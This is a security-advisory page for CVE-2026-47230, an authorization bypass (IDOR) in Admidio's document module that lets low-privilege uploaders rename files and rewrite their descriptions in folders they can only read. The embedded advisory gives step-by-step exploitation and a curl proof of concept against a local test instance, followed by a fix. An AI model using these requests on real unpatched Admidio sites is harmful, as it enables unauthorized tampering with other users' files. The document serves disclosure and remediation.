CVE-2026-47230: Admidio IDOR Vulnerability
MODERATECVE-2026-47230 is a MODERATE (CVSS 6.5) idor vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Admidio libraries in the Packagist ecosystem. The issue involves idor in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders. Remediation is available by upgrading affected packages to version 5.0.10.
CVE-2026-47230 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-47230
To remediate this vulnerability, upgrade all affected Admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade admidio/admidio to 5.0.10
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for admidio/admidio
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-47230, inspect your project dependencies for Admidio:
inspect dependencies for admidio/admidio
Analyze the terminal output to locate any version of Admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.10), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-47230 Affected Admidio Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
admidio/admidio
|
Packagist |
< 5.0.10
|
5.0.10
|
References
Frequently Asked Questions
What is CVE-2026-47230?
Which Admidio versions are affected?
What version fixes CVE-2026-47230?
Is admidio/admidio affected?
What is the CVSS score of CVE-2026-47230?
What CWE is associated with CVE-2026-47230?
How can I check Packagist dependencies for CVE-2026-47230?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-q6w3-hpfv-rg36",
"modified" : "2026-05-29T22:05:47Z",
"published" : "2026-05-29T22:05:47Z",
"aliases" : [ "CVE-2026-47230" ],
"summary" : "Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders",
"details" : "## Summary\n\n`modules/documents-files.php` mode `file_rename_save` shares the same root-cause shape as the cross-folder move bug (`05-documents-cross-folder-move-idor.md`): the top-level rights check at lines 79-89 validates `hasUploadRight()` on the URL parameter `folder_uuid`, but the rename operation acts on `file_uuid` — a separate URL parameter — without re-checking the folder that actually contains the file. `DocumentsService::renameFile()` resolves the target file via `getFileForDownload()` (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description.\n\n## Details\n\n### Vulnerable Code\n\n`modules/documents-files.php:79-89` — top-level check binds to URL `folder_uuid`:\n\n```php\nif ($getMode != 'list' && $getMode != 'download') {\n $folder = new Folder($gDb);\n $folder->getFolderForDownload($getFolderUUID);\n if (!$folder->hasUploadRight()) {\n $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));\n }\n}\n```\n\n`src/Documents/Service/DocumentsService.php:272-315` — `renameFile()` resolves the file via `getFileForDownload()` (view-only) and never re-verifies upload right on the file's parent:\n\n```php\npublic function renameFile(string $fileUUID, string $newName, string $newDescription): array\n{\n $file = new File($this->db);\n $file->getFileForDownload($fileUUID); // <-- view rights, not upload\n ...\n $oldFile = $file->getFullFilePath();\n $newFile = $newName . '.' . pathinfo($oldFile, PATHINFO_EXTENSION);\n $newPath = pathinfo($oldFile, PATHINFO_DIRNAME) . '/';\n FileSystemUtils::moveFile($oldFile, $newPath . $newFile);\n\n $file->setValue('fil_name', $newFile);\n $file->setValue('fil_description', $newDescription);\n $file->save();\n ...\n}\n```\n\n`getFileForDownload()` enforces only the *download* (read) ACL on the file's folder. There is no `hasUploadRight()` check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.\n\n### Exploitation Primitive\n\n1. Attacker user `lowuser` holds `folder_upload` on `public_uploadable` (UUID `c41a99c0-…`). They have *view* (download) rights on `view_only_public` (UUID `21b417e2-…`, `fol_public=1`) but no upload/edit right there. The folder contains `admin_announcement.txt` (UUID `aaae5edd-…`).\n2. Render the rename form with a `folder_uuid` of a folder lowuser CAN upload to and a `file_uuid` of the target file:\n `GET /modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…`\n The top-level rights check at line 85 sees the public-uploadable folder and passes.\n3. Submit rename:\n `POST /modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…` with `adm_csrf_token=<from step 2>`, `adm_new_name=hijacked_announcement`, `adm_new_description=Hijacked!`.\n Server replies `{\"status\":\"success\"}`. `adm_files`: `fil_fol_id=7` (still the original `view_only_public`), `fil_name='hijacked_announcement.txt'`, `fil_description='Hijacked!'`. On disk: `admin_announcement.txt` is renamed to `hijacked_announcement.txt` in its original folder.\n\n## PoC\n\nCaptured live against HEAD `c5cde53` (mariadb on `127.0.0.1:3399`, php on `127.0.0.1:8085`):\n\n```\n$ curl -sb $cookie \\\n \"http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…\"\n# form rendered, CSRF token X added to session\n\n$ curl -sb $cookie -X POST \\\n \"http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…\" \\\n -d \"adm_csrf_token=X&adm_new_name=hijacked_announcement&adm_new_description=Hijacked%21\"\n{\"status\":\"success\", …}\n\n$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p… admidio \\\n -e \"SELECT fil_fol_id, fil_name, fil_description FROM adm_files WHERE fil_uuid='aaae5edd-…';\"\nfil_fol_id fil_name fil_description\n7 hijacked_announcement.txt Hijacked!\n```\n\nThe folder ID `fil_fol_id=7` is `view_only_public` — the folder that `lowuser` had no upload right on. The change was applied as if `lowuser` were authorised.\n\n## Impact\n\nA user with the most basic Documents permission — upload to a single folder — can rename and overwrite descriptions of files in any other folder they can read. Confidentiality is unaffected (the actor already had download rights on the affected files), but integrity is broken across folder boundaries. Concretely:\n\n* **Defacement of public announcements / policies / circulars.** A regular member can replace `admin_announcement.txt` with `hijacked_announcement.txt` and a description that misrepresents the content. Other readers see the malicious metadata.\n* **Renaming-to-confuse.** Files can be renamed to identifiers that imply different content (`board_minutes_2025-Q4.pdf` → `board_minutes_DRAFT-do-not-distribute.pdf`).\n* **Description-as-XSS-vector** (downstream): if any view path treats `fil_description` as raw HTML, this becomes a stored XSS by a low-privilege user; absent that, it is plain content tampering.\n\nThe CVSS reflects: `PR:L` (uploader on any folder), `S:U` (stays inside Admidio's authorisation model), `C:N` because the actor already had read access, `I:H` because the file's identity is changed for every other reader, `A:N` because files are not deleted.\n\n## Recommended Fix\n\n`DocumentsService::renameFile()` must check upload right on the file's source folder before mutating it:\n\n```php\n// src/Documents/Service/DocumentsService.php\npublic function renameFile(string $fileUUID, string $newName, string $newDescription): array\n{\n $file = new File($this->db);\n $file->getFileForDownload($fileUUID);\n\n // verify the current user has upload (write) right on the file's parent folder,\n // not just download right (which getFileForDownload enforces)\n $sourceFolder = new Folder($this->db);\n $sourceFolder->readData($file->getValue('fil_fol_id'));\n if (!$sourceFolder->hasUploadRight()) {\n throw new Exception('SYS_NO_RIGHTS');\n }\n ...\n}\n```\n\nEquivalently, in `modules/documents-files.php` `case 'file_rename_save'`, resolve the file's parent folder and check `hasUploadRight()` against it before calling the service. The same fix should be applied to other documents-files modes that take a `file_uuid` independently of `folder_uuid`.\n\n## Related\n\nThis bug shares its root cause with `05-documents-cross-folder-move-idor.md` — both flow from the top-level rights check at lines 79-89 binding to URL `folder_uuid` rather than the actual file's parent. A single fix to enforce source-folder upload right inside `File::moveToFolder()` and `DocumentsService::renameFile()` (and any other operations on file_uuid) closes both.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "admidio/admidio"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.0.10"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.0.9"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-q6w3-hpfv-rg36"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Admidio/admidio"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-639", "CWE-863" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-29T22:05:47Z",
"nvd_published_at" : null
}
}